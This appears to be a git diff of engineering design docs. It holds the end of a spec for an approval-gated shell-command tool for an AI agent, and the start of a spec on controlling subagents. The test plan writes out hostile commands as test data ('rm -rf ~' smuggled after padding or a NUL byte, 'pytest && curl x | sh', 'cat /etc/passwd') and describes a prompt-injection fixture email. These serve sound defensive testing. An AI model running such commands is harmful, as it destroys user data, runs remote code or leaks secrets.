-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `title` | `Run \`pytest -q\` in my-project` — verb-first, grant **label**, never a host path | +| `connector` | `null` — there is no vendor | +| `access` | `null` — `read`/`write` is not a claim we can make about a command | +| `irreversible` | **`true`, always** — a command's changes are outside undo (§10.2), which is precisely what this flag means. This also means **no command is ever approvable in one click**, which is the right default for v1. | +| `reason` | the model's stated purpose, already length-capped and newline/markdown/URL-stripped by the gate (`surfaces_v2/gate.py:18-24`) | +| `onApproveAlways` | supplied **only** when §8.3's simple-command test passes | +| `params` | not the vehicle for the command text — see below | + +**Two additions are needed and neither exists today:** + +1. **A verbatim command block.** `params` is an `ActivityParam` list and + `buildParams` keeps only primitive top-level arguments — the wrong shape for a + multi-line command that must render as an exact monospace block with + `white-space: pre-wrap` and `overflow-wrap: anywhere`. Proposal: a new optional + `commandText?: string | null` rendered by `TcWriteGatePayload` inside the + existing body, as a text node, in a bounded `max-height` scroller. It must + satisfy `hasWriteGateEvidence` so `bodyApprove` unlocks (`TcWriteGateRow.tsx:260-261`) + — i.e. **the command block is the evidence**, and approving without expanding is + structurally impossible. +2. **A persistent no-undo line.** One line under the command: + _"Changes made by a command can't be undone from here."_ Not a chip and not a + hover — §10.2's second of three places. + +**⚠️ Do NOT invent a bespoke `api_event_type`.** The payload must ride +`approval_requested` (`runtime_api/schemas/common.py:150`), with the discrimination +carried in `approval_kind`. `WorkspaceGrantValues.EVENT_TYPE` documents what happens +otherwise: a custom name means `StreamMessageParser.explicit_api_payloads` never +collects the payload, _"so NO event is appended, NO `ApprovalRequestRecord` is +written and NO batch is inserted. The run parks on a LangGraph interrupt the client +is never told about — a hang"_ (`capabilities/desktop/workspace_grant.py:83-101`). + +**⚠️ The producer branch must recognise the tool name.** `stream_events.py:1176` +tests membership in `_FilesystemApproval.TOOL_OPERATIONS` (which lists only +`ls/read_file/glob/grep/write_file/edit_file`, `:133-145`) and `:1197` then does +`if action_name != McpValues.ToolName.CALL_MCP_TOOL: continue`. **An interrupt +raised on `run_command` today produces no card and an infinite spin** — the exact +live symptom recorded in the comment at `:1177-1185`. A third producer branch for +the command lane is a required work item, not an implementation detail. + +### 14.2 While running + +The transcript already has the right component. `ToolCallCard` +(`packages/chat-surface/src/thread-canvas/ToolCallCard.tsx`) renders one projected +tool call with a native `
` disclosure and shared `ActivityCardChrome`, and +`toolViews.tsx` is the registry that gives a tool name a specialised icon, subtitle +and body (`toolViewFor`, `toolViews.tsx:291-296`). + +**⇒ Add a `"command"` `ToolViewKind`** to `toolViews.tsx` with: + +- `subtitle` = the command, single-line-clamped; +- `Body` = the transcript block (§14.3); +- `defaultOpen: false`. The comment at `toolViews.tsx:41-56` argues `defaultOpen` + only for file-change views because _"a 120-line file preview expanded by default + would flood the transcript"_. Command output is worse. **Exception worth + considering: `defaultOpen` when the call ended non-zero**, because for a failed + command the failure _is_ the message — the same argument the diff views won on. + → **OQ-6**. + +`ToolCallCard` already handles the parked state correctly: `parked` means the graph +is interrupted, so _"a call still in `running` while the graph is interrupted is, +by definition, not progressing"_ (`ToolCallCard.tsx:26-39`). A command awaiting +approval inherits that for free. + +**Live output needs one projector change, and it has a trap.** `tool_call_delta` +already exists on the wire (`runtime_api/schemas/common.py:124`) and the projector +already reduces it — but `reduceToolDelta` merges **arguments only** +(`eventProjector.ts:1405-1440`, via `updatedToolArgs`), carrying `result` forward +unchanged. So: + +- Add `outputPreview?: string` to `ToolCallEntry` / `MutableToolCall` + (`eventProjector.ts:235-270`, `:1325-1340`), fed from a new + `payload.output_preview` on `tool_call_delta`. +- **It must be a distinct field from `result`.** Writing partial output into + `result` would make a running card look settled — and `reduceToolDelta` already + guards the mirror-image case: _"Deltas can race with terminal frames on + reconnect; argument updates must never turn a completed/failed card back into a + running one"_ (`eventProjector.ts:1425-1427`). The same discipline applies in the + other direction. +- The delta payload carries a **rolling tail** (last ~8 KiB), not cumulative + output — OpenCode's 30 000-char `preview()` (`shell.ts:220-223`) with our smaller + budget, since our envelopes are persisted per `sequence_no` and replayed. +- **Replay cost, flagged:** every delta is a persisted event replayed by + `?after_sequence=N`. A chatty command at one delta per chunk inflates the run's + event count. **Throttle deltas to ≤ 4/second and coalesce**, and make that a + tested property, not a hope. → **OQ-7**. + +Cancel: the existing run-level Stop. No per-command stop in v1 (there is no +background mode for it to control). + +### 14.3 After — the transcript block + +Borrowing Hermes' shape, which is the better of the two prior arts here: + +``` +┌───────────────────────────────────────────────────────────┬─────────┐ +│ $ pytest -q │ exit 1 │ +└───────────────────────────────────────────────────────────┴─────────┘ + mono, wrap-anywhere, `$` is select:none + aria-hidden chip + + + + … output truncated (kept the last 64 KiB of 4.2 MB). Full output saved. +``` + +- **The exit code is rendered.** OpenCode captures it and never shows it + (`shell.ts:589`, with no `metadata.exit` reference anywhere in its session-ui or + app packages) — a failing command renders identically to a passing one. Ours + shows a chip: exit 0 in the success token, non-zero in the **warning** token, not + the destructive one. Non-zero is a third state, distinct from + `status === "error"` (the tool itself failed), and Hermes is right to colour it + amber (`fallback.tsx:708-742`). +- **`$` is decorative** — `aria-hidden`, `user-select: none`, so copying gives the + command. +- **stdout/stderr are not split** in v1 (§4.3). If we split later, stderr must + **not** be painted destructive — many CLIs log informational output there + (Hermes' comment at `fallback.tsx:649-651`). +- **Bounded height with its own `overflow-x: auto` container.** The page body must + never scroll horizontally (AC8.4). +- **Copy copies the uncapped payload** where available. +- **The `run_command` view's CSS ships inside `packages/chat-surface`**, scoped, with + the existing test asserting no host stylesheet re-declares its class names — the + stranded-CSS failure this repo has already paid for (PR #459; the rule is written + down at `packages/chat-surface/src/activity/ToolRunGroup.tsx:10-17`). + +### 14.4 Settings + +Under the existing tool-policy surface: a fourth axis row, **Run commands**, with +the same four modes. Plus, on each attached workspace in the grants list, a +per-folder toggle (§7.3) whose copy states §11.5's sentence verbatim. The toggle is +off by default and its confirm names the folder. + +--- + +## 15. Observability + +### 15.1 Events + +Reuse the existing tool lifecycle. **No new top-level event type.** + +| Event | Payload additions | +| ------------------------------------- | ---------------------------------------------------------------------------------------------- | +| `tool_call_started` | `tool_name: "run_command"`, `display_title`, `workspace_label`. **Never the host path.** | +| `tool_call_delta` | `output_preview` (rolling tail, throttled — §14.2) | +| `approval_requested` | `approval_kind` discriminating the command lane; `command`; `workspace_label`; `grant_options` | +| `approval_resolved` | `decision_scope ∈ {once, always}` (existing, `surfaces_v2/gate.py:104-110`) | +| `tool_result` / `tool_call_completed` | `exit_code`, `status`, `truncated`, `duration_ms`, `output_ref` | +| `gate.opened` / `gate.resolved` | emitted by `park_for_approval` already (`surfaces_v2/gate.py:13-16`) | + +Rules that bind: the payload must never carry a host-absolute path, the raw +environment, or output beyond the cap. The sandbox lane's constraint is the model — +events _"must never receive secret material, absolute host paths, provider +credentials, or file content"_ (`capabilities/sandbox/ports.py:193-217`). Command +output is a partial exception we accept knowingly (§13); host paths are not. + +### 15.2 Ledger + +The Work Ledger records the operation and its outcome through the existing +`OperationOutcome` path — the same one `run_in_sandbox` uses +(`capabilities/sandbox/execute_tool.py` imports `surfaces_v2.ledger_models.OperationOutcome`). + +**What the ledger must NOT record: a change set.** §10 is the reason. A ledger row +claiming "this command changed N files" would be fabricated. The row records that a +command ran, under which grant, with which outcome — and the Changes tab carries the +explicit statement that the change set is unknown. + +### 15.3 Audit + +`tool_call_outcome` and `approval_decision` already fire from +`runtime_worker/audit.py:20-30`, so a command inherits both. + +Add one action: **`shell.command_executed`**, carrying `run_id`, `org_id`, +`user_id`, the **hash** of the command plus its first 256 characters, the workspace +label, `exit_code`, `duration_ms`, and the decision that authorised it +(`once` / `always` / `policy`). Rationale mirrors the undo route's: +_"An unlogged undo would be indistinguishable from the agent quietly writing +again"_ (`agent_runtime/api/host_write_undo_service.py:16-19`). An unlogged command +execution is worse — it is the only record that anything happened at all, given +§10. + +Compliance note for the review checklist: this row must land in the append-only +audit table with the hash chain (invariant §8, `04-security-invariants.md:133-148`), +and **must not** be marked complete against an in-memory adapter. + +### 15.4 Metrics and logs + +- Counters: commands attempted / refused-by-never-list / gated / approved-once / + approved-always / denied / completed / timeout / cancelled. +- Histogram: `duration_ms`, `output_bytes`. +- **A refusal-rate alarm.** A sudden spike in never-list hits is the signature of an + injected model probing, and it is the one metric that would surface §9.4's threat + before a user notices. +- Logs: the command is `Sensitive[]`-annotated so the redactor length-clips it + (invariant §6); `output` is length-clipped, never value-scanned (§13). + +--- + +## 16. Tests + +The spec bar says do not remove hard edge cases. These are the ones that would be +tempting to drop. + +### 16.1 Policy and posture + +- `EXECUTE` axis default is `ask`; a snapshot missing the axis falls back to `ask`, + not `auto` (`ToolUsePolicySnapshot.mode_for_kind`, `permissions.py:84-90`). +- **`Posture.BYPASS` does not auto-run a command.** Both postures asserted. +- An `EXECUTE: block` workspace policy denies, and BYPASS does not lift it + (`service.py:335-337`). +- `gate is None` ⇒ typed refusal, never dispatch (`policy_tool.py:20-27`). +- Grant detached mid-run ⇒ call-time recheck returns `unavailable`, no fallback root. + +### 16.2 The never-list + +- Golden corpus of `(command, expected)` pairs, **including a `known_miss` class** + that is asserted to be missed, so the suite cannot be read as a boundary claim + (AC7.4). +- A user rule `{"pattern": "*", "action": "allow"}` in the never ruleset does **not** + lift `rm -rf /` — the last-match-wins ordering trap (§9.5). +- Never-list hit ⇒ **no `approval_requested` event is appended.** Assert on the + event store, not on the UI. +- **1024-char truncation:** `"x" * 1100 + "; rm -rf ~"` is refused by the pre-PDP + screen even though `PolicySubjects` would truncate it away (`rules.py:342, 355`). +- **Backslash rewrite:** a command whose match depends on a literal `\` behaves as + specified given `Wildcard.match`'s `replace("\\", "/")` (`rules.py:101`). +- `git commit -m "block rm -rf / in CI"` is **not** refused — the never-list is + anchored to command position, so the phrase as data must pass (Hermes' `_CMDPOS`, + `approval.py:381-392`). + +### 16.3 Adversarial + +- **Injection via connector text** (AC9.1): a fixture email carrying + `` and an instruction-shaped sentence produces at most a + parked approval, never a dispatch. +- **Injection via command text into the UI**: markdown, `javascript:`, ANSI, and a + zero-width-joiner sequence in `command` render as inert text nodes in + `TcWriteGateRow`. +- **NUL truncation**: `"echo ok\x00; rm -rf ~"` is refused at + `RunCommandInput.model_validate`, so the card and the process can never disagree. +- **A command that never exits**: `sleep 999` ⇒ timeout at the configured value ± + tolerance, group killed, `exit_code: null`, partial output preserved. +- **A command that ignores SIGTERM** ⇒ SIGKILL within the escalation window; no + process remains in the run's process group (AC5.3). +- **Output flood**: 500 MB to stdout ⇒ memory stays bounded (ring buffer), result ≤ + cap, `output_ref` set, spill file matches, run does not OOM. +- **A single multi-byte codepoint straddling the byte cap** is not split (AC8.3). +- **Path escape**: `cd / && cat /etc/passwd` — asserts _what actually happens_ + (it runs, if approved) and pins that the tool result's `workspace` is still the + bound label. This test exists to make the residual risk **visible in CI**, not to + claim it is prevented. +- **Env exfiltration** (AC6.1/6.2): `env` and `printenv` output contains no + allowlist-absent variable. The novel-secret variant must fail if the allowlist is + inverted to a denylist. +- **Always-grant scope**: a `pytest` grant does not cover `pytest && curl x | sh` + (AC3.4); does not survive into a second run (AC3.3); does not cover the same + `argv[0]` in a different bound root. + +### 16.4 Undo honesty + +- Zero `HostWriteJournalPort` appends across a command-only run (AC4.4). +- The Changes tab notice renders with the correct count and is present when the + journal is empty (AC4.1–4.2). +- **No test may assert that a command's changes are revertible.** A guardrail test + greps the test corpus for that assertion shape, so Phase 3 has to change this + file before it can change the claim. + +### 16.5 UI + +- `TcWriteGateRow` with `commandText` renders the exact string; snapshot with + newlines and long single-token lines. +- `bodyApprove` is unreachable until the body is expanded and the command block is + present (`hasWriteGateEvidence`, `TcWriteGateRow.tsx:260-261`). +- The always control is absent for a compound command. +- **Layout, not just DOM.** `getComputedStyle` against the real stylesheet asserts + the output block's `max-height`, `overflow`, and that the page body does not + scroll horizontally — jsdom performs no layout, and this repo has shipped a + disclosure clipped to 6% of its ink under a green suite. +- No host stylesheet re-declares the command view's class names (the shadowing gate). +- **Live journey** in `tools/desktop-journeys/`: approve a command in the packaged + app, assert the exit chip, assert the Changes-tab notice. A unit suite over the + approval projection would not have caught the `stream_events.py:1197` hang; a live + journey does. + +### 16.6 Guardrails + +- No `execute` / `aexecute` method exists on `HostFilesystemFloor`, + `NativeHostPathBackend`, or the desktop default backend chain — the + `__getattr__` delegation trap (§2.1). +- No `shell=True` and no `create_subprocess_shell` anywhere in `agent_runtime` + outside `capabilities/shell/executor.py`. +- `OperationConformanceGate.validate_current()` passes — i.e. `run_command` is + declared in **all three** occupancy declarations + (`capabilities/operations/conformance.py`, `builtin_operation_catalog.json`, + `operation_descriptors.json`) or the worker fails at boot + (`runtime_worker/loop.py:645`). +- `run_command` is absent from every subagent toolset (§12.3). +- With the feature off, `NO_SHELL_EXECUTE_GUIDANCE` is in the prompt and + `run_command` is not in the model's tool list (AC10.1). +- **The desktop harness still constructs.** A test builds the real desktop runtime + with the real rule set and asserts no `NotImplementedError` — §2.1's failure would + otherwise appear as "every desktop run dies," far from its cause. + +--- + +## 17. Prompt copy + +Three blocks live in `execution/deep_agent_builder.py` today and the selection at +`factory.py:2845-2851` gains one arm: + +- `NO_SHELL_EXECUTE_GUIDANCE` (`:219-224`) — unchanged, ships when `run_command` is + absent. +- `FILESYSTEM_IS_NOT_SHELL_GUIDANCE` (`:213-218`) — unchanged, and **still ships + when `run_command` is present**, because the point it makes (filesystem tools are + bounded file APIs, not shell) stays true and stops the model from conflating them. +- `SANDBOX_EXECUTE_GUIDANCE` (`:205-212`) — unchanged. If both tools are ever live, + the two blocks must state the distinction in one sentence: `run_in_sandbox` cannot + see the user's files; `run_command` runs in their folder. +- **New — `SHELL_EXECUTE_GUIDANCE`**, and it must be honest about all four of: + state does not persist between calls; stdin is closed so interactive commands + fail; aliases and shell functions are unavailable (non-login `/bin/sh`); and + **the app cannot undo what a command changes**. + +--- + +## 18. Phased plan + +### Phase 0 — Prerequisites (no user-visible change) + +- `EXECUTE` axis in `services/backend` + `api-types` + the runtime mirror (§6). +- The third producer branch in `runtime_worker/stream_events.py` so a command + interrupt renders a card instead of hanging (§14.1). +- `TcWriteGateRow.commandText` + the no-undo line (§14.1). +- `outputPreview` on `ToolCallEntry` and the `reduceToolDelta` change (§14.2). +- The `"command"` entry in `toolViews.tsx` (§14.2). + +Ships dark. Nothing is model-visible. + +### Phase 1 — The safe subset that closes S1 + +- `capabilities/shell/` with `RunCommandInput`/`Result`, the allowlist environment, + the executor, the never-list (data + pre-PDP screen), the PDP descriptor and PEP. +- Per-workspace enablement on the grant, off by default. +- **Every command asks.** Always-grant is run-scoped, `argv[0]`-keyed, + simple-commands-only. +- **`irreversible: true` on every card**, so no command is approvable in one click. +- The Changes-tab honest notice. +- The full test matrix in §16, including the known-miss corpus and the live journey. + +**This is a shippable product**: the agent can run the test suite, read the failure, +and iterate — under a human's eye every time. The residual risks (no OS isolation, +real `HOME`, unrestricted network, no undo) are all documented in-product. + +### Phase 2 — Confinement + +- Scratch `HOME` + the config-passthrough allowlist with credential-line refusal + (§11.5). This is the single largest security improvement available and it needs no + spike. +- **SPIKE-S1**: per-platform OS confinement. macOS `sandbox-exec` viability given + Apple's deprecation; Linux `bwrap`/`landlock` bundling; Windows deferred to + PRD-FS-08's SPIKE-L2. +- Optional per-workspace network denial, if SPIKE-S1 says yes on any platform. + +### Phase 3 — Undo, and the ergonomics we deliberately deferred + +- Bounded root-manifest capture, fail-closed on size, with the deletion-pre-image + hole closed (§10.3, OQ-4). +- stdout/stderr split, if the value is demonstrated. +- Per-workspace env passthrough allowlist. +- Reconsider prefix-generalised always-grants **only** with a written argument + against §8.3. + +### Explicit non-goals (all phases) + +Taken largely from PRD-FS-08's guardrail list, which reads as a ready-made non-goals +section (`docs/plan/filesystem-capability/PRD-FS-08-local-sandbox-provider.md:2084-2125`): + +- No `LocalShellBackend`. No developer-mode escape hatch. +- No `execute` method added to any object on the host backend chain. +- No arbitrary-Python `exec`/`eval` path for model-generated code. +- No background or persistent shell session. +- No `sudo`, no privilege elevation, no password entry, ever. +- No per-call HTTP hop on the tool path. +- No shell tool for subagents. +- No claim, anywhere in product copy, that command changes can be undone — until + Phase 3 makes it true. + +--- + +## 19. Open questions + +| id | Question | Blocks | +| -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------- | +| **OQ-1** | The PDP's Stage 2 is connector-shaped (`policy/service.py:230`). What are the builtin analogues for `ConnectorState`, `descriptor.scopes` and the allowlist port, given `run_command` is the first non-MCP capability through the PDP? | Phase 1 | +| **OQ-2** | The wrapper-binary list that forfeits the always-grant (§8.3). Is `make` in or out? | Phase 1 | +| **OQ-3** | Cross-language sharing of the credential-path list: duplicate byte-identically, or ship JSON in `service-contracts` and assert equality from a desktop test (§5)? New pattern; needs sign-off. | Phase 1 | +| **OQ-4** | Phase-3 deletions: pre-copy everything under the cap before the command, or accept "recorded, not revertible" for deletes (§10.3)? | Phase 3 | +| **OQ-5** | Do we scan command output for secrets, reversing invariant §6's rejection of regex value-scanning, or keep the length-clip precedent (§13)? | Phase 1 (compliance record) | +| **OQ-6** | Does a non-zero-exit command auto-expand its transcript body (§14.2)? | Phase 0 | +| **OQ-7** | Delta throttle rate and coalescing budget, given every delta is a persisted, replayed event (§14.2). | Phase 0 | + +--- + +## 20. Unverified / read-but-not-run + +Stated so nobody inherits a guess as a fact. + +- **I read source; I ran nothing.** No test was executed, no `isinstance` check + observed live, no packaged app driven. +- **"`execute` is absent on the desktop backend today"** is derived from + `supports_execution` (`filesystem.py:1192-1211`) plus the absence of a `def execute` + on `HostFilesystemFloor`, `NativeHostPathBackend` and `FilesystemBackend` — not + from a live construction. +- **§12.2's background-mode argument** rests on the seal's stated semantics + (`surfaces_v2/ledger_models.py:277-284`). I did not trace `append_api_event`'s + behaviour on a post-seal append. +- **macOS `sandbox-exec` viability** is unverified in both directions. It is a + spike, not a plan. +- **Whether `RUNTIME_ENABLE_REMOTE_SANDBOX` is set in the shipped desktop staging** + (`tools/desktop-runtime/`) — not checked. Moot for the sandbox lane's reachability + given `sandbox_composition.py:134-135`, but not for config drift. +- **`MCP_PER_TOOL_ENABLED`**: `capabilities/mcp/per_tool_registration.py:1-21` says + the flag is deleted and per-tool registration is the only MCP dispatch surface, + while several middleware docstrings still describe it as "default OFF". I found no + live read of the flag and treat the per-tool lane as live — inference from absence + of a grep hit, not positive verification. It matters here only because it + determines whether the PDP is live or dark. +- **The `TcWriteGateRow` mapping in §14.1 is a design proposal**, not a verified + fit. I read the props and its rationale comments; I did not mount it with a + command payload. +- **Line citations into `packages/chat-surface` may have drifted.** At the time of + writing, `thread-canvas/TcChat.tsx`, `thread-canvas/ToolCallCard.tsx` and + `thread-canvas/eventProjector.ts` were being modified by a concurrent workstream + in this same worktree. The _claims_ about those files (that `reduceToolDelta` + merges arguments only and carries `result` forward; that `ToolCallCard` has no + output field; that `toolViews.toolViewFor` is the registry) were read from the + working tree and should re-verify, but the exact line numbers may not. + +--- + +## Appendix A — What each prior art got right, and what we take + +| Choice | OpenCode | Hermes | Ours | +| ------------------- | ------------------------------------------------------------------------------------ | --------------------------------------------------- | ---------------------------------------------------------------------------------------------- | +| Parse purpose | describe only (`shell.ts:392-411`) | decide (`approval.py:3552-3577`) | **describe only, and parsing only narrows what we offer** (§8.3) | +| Unbypassable floor | none | four layers | **the PDP's existing `_never`, populated** (§9) | +| Default posture | `allow` (`agent.ts:119-136`) | `manual` on any pattern hit | **ask, always** (§8.2) | +| "Always" durability | in-process only; the durable schema exists unwired (`schema/v1/permission.ts:46-49`) | survives restart via `config.yaml` | **run-scoped only, never on disk** (§8.3) | +| Env | full inheritance (`shell.ts:416-426`) | tiered denylist (`local.py:531-572`) | **allowlist** (§11.3) | +| Timeout | 120 s, no max | 180 s, 600 s hard cap | **120 s, 600 s cap, refuse not clamp** (§4.2) | +| Exit code to model | **never** (`message-v2.ts:290-295`) | yes, in JSON | **yes, typed field** (§4.3) | +| Truncation | tail + spill (`shell.ts:568-580`) | head+tail + redaction | **tail + spill into the agent scratch, read back through the journaled lane** (§13) | +| Kill | `detached`, `killTree` dead code (`core/shell.ts:31-60`) | explicit `killpg` escalation (`local.py:1557-1620`) | **explicit `killpg` escalation** (§11.1) | +| Approval UI | dock above composer; command shown twice | inline strip; command deliberately not repeated | **inline card, command shown once, in the body, as the evidence that unlocks approve** (§14.1) | +| Live output | streams to UI only | not in transcript; separate terminal pane | **throttled delta into the existing tool card** (§14.2) | +| Undo | not attempted | not attempted | **stated as absent, three times** (§10.2) | diff --git a/docs/plan/agent-execution/PRD-subagent-control.md b/docs/plan/agent-execution/PRD-subagent-control.md new file mode 100644 index 000000000..653cd1c89 --- /dev/null +++ b/docs/plan/agent-execution/PRD-subagent-control.md @@ -0,0 +1,1601 @@ +# Subagent control: inspect, steer, interrupt + +**Status:** proposed — nothing here is implemented. +**Scope:** the `task` delegation path in `services/ai-backend`, the subagent event +projection in `runtime_worker`, and the Agents surface in `packages/chat-surface`. +**Bar:** `services/ai-backend/docs/CLAUDE.md` — module boundaries and file paths, +Pydantic contracts at full field-level shape, edge cases, security, observability, +tests. Two of its rules bind hardest here and are quoted where they bite: +_"Do not remove edge cases to simplify implementation. If an edge case is hard, +raise it."_ and _"Never bypass permission checks in `capabilities/` middleware."_ + +Every claim about our code carries a `file:line`. Where I could not verify +something it says **unverified** rather than guessing. + +--- + +## 0. Premise check — what is actually true today + +The brief that commissioned this document asserted five things. Two are wrong. +Building on the wrong two would have produced a PRD for work that already exists. + +| # | Asserted | Verdict | Evidence | +| --- | --------------------------------------- | --------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 1 | Dispatch works and a fleet card renders | **TRUE** | `runtime_worker/stream_subagents.py:461-502` emits `subagent_fleet_started`; `packages/chat-surface/src/subagents/SubagentFleetCard.tsx:54`; projected at `subagents/subagentProjection.ts:109-158` | +| 2 | A user cannot inspect one child's work | **PARTLY TRUE** — see §0.2 | `FleetSubagentRow.tsx:43,58,82`; `SubagentCard.tsx:118-147` | +| 3 | A user cannot steer one child | **TRUE**, and deliberately so | `capabilities/middleware/runtime_tool_control.py:376-377` | +| 4 | A user cannot interrupt one child | **TRUE** | `runtime_worker/run_cancellation.py:18-23`; only route is run-scoped, `runtime_api/http/routes.py:1183-1187` | +| 5 | There is no depth cap | **FALSE** — a depth cap ships and is enforced | `delegation/subagents/recursion.py:142-158`, called at `atlas_task_tool.py:307-309` and `:351-353` | +| 6 | The parent blocks | **TRUE** | `atlas_task_tool.py:373` — `await subagent.ainvoke(subagent_state, subagent_config)` | + +### 0.1 Depth is capped. Fan-out is not. + +`DelegationDepthPolicy` is snapshotted once per agent build — i.e. once per run, +which is the snapshot point the PDP/PEP rule asks for (`atlas_task_tool.py:117`, +docstring at `:108-115`). Depth travels in the child's `RunnableConfig` under +`delegation_depth` (`recursion.py:59`, stamped at `atlas_task_tool.py:474`, +`:479`) because "that is the only channel that survives the parent -> child graph +invocation" (`recursion.py:12-15`). + +- Default `MAX_DELEGATION_DEPTH = 1` (`constants.py:109`), ceiling + `DELEGATION_DEPTH_MAX = 8` (`constants.py:131`), document value + `subagents.max_delegation_depth: 1` (`hyperparameters/hyperparameters.json:53`). +- Refusal is a **value, not an exception**, with the reason stated in source: + "the caller is a model-facing tool, and a raise there becomes an opaque runtime + failure instead of something the model can read and route around" + (`recursion.py:144-148`). +- Belt-and-braces: `SubagentRecursionPolicy.narrow_spec` strips `task` from a + child's tool surface unless the spec sets `allow_nested_delegation` + (`recursion.py:179-201`), applied at `atlas_task_tool.py:153`. +- Malformed config falls back to the packaged default, "which is the _most_ + restrictive useful value rather than the least" (`recursion.py:94-107`). + +**Fan-out is a different story.** Three numbers look like fan-out caps and none of +them is one: + +| Value | Where | Live? | +| -------------------------------------------- | ------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `Defaults.SUBAGENT_CONCURRENCY_LIMIT = 2` | `constants.py:103` | Read only by `SubagentTask.concurrency_limit` (`contracts.py:160-162`) — a contract field with no live task-tool caller | +| `DelegationAdmissionPolicy.max_children = 3` | `coordination.py:303` | The class's own docstring says `max_depth` "is the one field of this contract that the live `task` tool enforces today… The remaining fields belong to the batch planner below, which is still unwired" (`coordination.py:291-294`) | +| `execution.max_parallel_subagents: 4` | `hyperparameters.json:40`, `settings.py:293-294` | **Zero consumers.** `grep max_parallel_subagents` over `runtime_worker/`, `execution/`, `delegation/` returns nothing | + +What _does_ bound `task` today is the wildcard tool budget: +`DefaultToolBudget` — `TOOL_NAME = "*"`, `MAX_CALLS_PER_RUN = 10`, and the cap is +"**per distinct tool name**, not per run in aggregate" (`tool_budgets.py:57-58, +67-69`), seeded identically into both store adapters +(`runtime_adapters/in_memory/runtime_api_store.py:268-270`, +`runtime_adapters/file/runtime_api_store.py:413-415`). Rejection happens before +invocation (`tool_budget_middleware.py:41-43`). + +So the true statement is: **a run may dispatch at most 10 subagents in total, and +all 10 may be dispatched in a single assistant message.** There is no per-turn +fan-out cap and no concurrency cap. That is the gap this PRD closes, not depth. + +### 0.2 What "inspect" gets you today + +More than nothing, less than a transcript. + +- The fleet card groups children and expands (`SubagentFleetCard.tsx:66-80`). +- A fleet row expands to an inline timeline of the child's activities + (`FleetSubagentRow.tsx:43`, `:58`, `:82`). +- `SubagentCard` has a `
` disclosure showing either the activity + timeline, the full result text, or an honest "Single-shot response — no inner + tool calls." (`SubagentCard.tsx:118-147`). +- The Agents rail lists children with a jump-to-thread affordance + (`SubagentCard.tsx:94-103`) and a jump-to-approval link for a paused child + (`:109-117`). + +What you cannot see is the child's **own** work: its model text, its tool +arguments, its tool results. `onJumpToThread` scrolls within the same thread +(`SubagentCard.tsx:99`); there is nothing to navigate _to_. + +### 0.3 The self-referential "This run" chip — still there, narrower than reported + +`AgentFleetList` is **not** the subagent fleet. It is a cross-**run** list: +"This run plus the OTHER runs (running or with held work)" +(`AgentFleetList.tsx:3`). Three findings: + +1. **The chip is conditional.** The server skips a run with no pending items — + "A quiet run, including the current run, has no fleet signal." + (`surfaces_v2/pending_work.py:494-497`). So "This run" appears only when the + open run itself has held work. +2. **When it appears, it is a dead control.** The row is a `